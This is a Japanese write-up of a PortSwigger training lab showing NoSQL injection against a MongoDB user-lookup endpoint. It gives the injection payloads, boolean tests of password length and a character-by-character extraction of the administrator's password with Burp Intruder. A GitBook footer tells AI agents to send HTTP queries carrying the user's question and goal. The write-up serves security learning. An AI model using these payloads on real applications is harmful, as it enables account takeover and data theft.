> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/nosql-injection/data-extraction-via-nosql-injection.md).
# NoSQL インジェクションによるデータ抽出
PortSwigger Web Security Academy のラボ向けメモ。悪用の手順、ペイロードのテスト、Burp Suite による検証、修復の文脈を含む。
### NoSQLインジェクションを悪用してデータを抽出する
**ラボの背景**
このラボのユーザー検索機能はNoSQLデータベースに基づいています **MongoDB**. / これは \*\*NoSQLインジェクション\*\* に脆弱です。
\*\*対象:\*\* ユーザーのパスワードを抽出する **administrator** そして彼のアカウントにログインします。
有効なアカウントが提供されています:
* **識別子:** `wiener`
* **パスワード:** `peter`
```bash
csrf=9FxorVglwXv5ZCx4bSUi29Bge07i8pJP&username=wiener&password=peter
```
**操作の解析**
に接続した後 `wiener:peter`、次のリクエストがバックグラウンドで送信されます:
```bash
GET /user/lookup?user=
```
このクエリはユーザーに関する情報を一覧表示します。
* 例:
```bash
GET /user/lookup?user=administrator
```
その後、フロントエンドには次が表示されます:
```bash
あなたのユーザー名は: wiener (role: user)
```
**NoSQL脆弱性の検出**
アポストロフィを1つ注入することで:
```bash
administrator'
```
サーバーはエラーを返します:
```terraform
{
"message": "ユーザーの詳細を取得する際にエラーが発生しました"
}
```
しかし、常に真となる条件を追加すると:
```bash
administrator' || true ||'
```
リクエストは受け入れられ、\*\*NoSQLインジェクション\*\* の存在が確認されます。
**パスワード長の抽出**
その `this.password.length` 属性はパスワードの長さを特定するために使用されます。
テスト例:
```bash
wiener' && this.password.length <40 ||'
wiener' && this.password.length == 5 ||'
```
これが正しく機能するには、\*\*d
```bash
wiener' %26%26 this.password.length == 5 ||'
```
\*\*管理者への適用\*\*
同じ方法を `administrator` ユーザー：
```bash
administrator' && this.password.length == 8 ||'
administrator' %26%26 this.password.length == 8 ||'
```
条件が検証され、管理者のパスワードに含まれることが示されます **8文字**.
**1文字ずつ抽出する**
次に位置でフィルタします:
```bash
administrator' %26%26 this.password[0]=='X
```
このリクエストは送信されます **Intruder**.
### \*\*Intruderで攻撃\*\*
攻撃タイプ: **Cluster Bomb**
パラメータ:
* 文字位置: `0` に `7` 値
* テスト対象文字: アルファベット（文字辞書）
有効な応答を解析することで、パスワードを復元できます。
| 数字 | 文字 |
| -- | -- |
| 0 | v |
| 1 | x |
| 2 | t |
| 3 | r |
| 4 | m |
| 5 | e |
| 6 | z |
| 7 | s |
**最終結果**
**管理者ユーザーのパスワード:**
`vxtrmezs`
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/web/nosql-injection/data-extraction-via-nosql-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
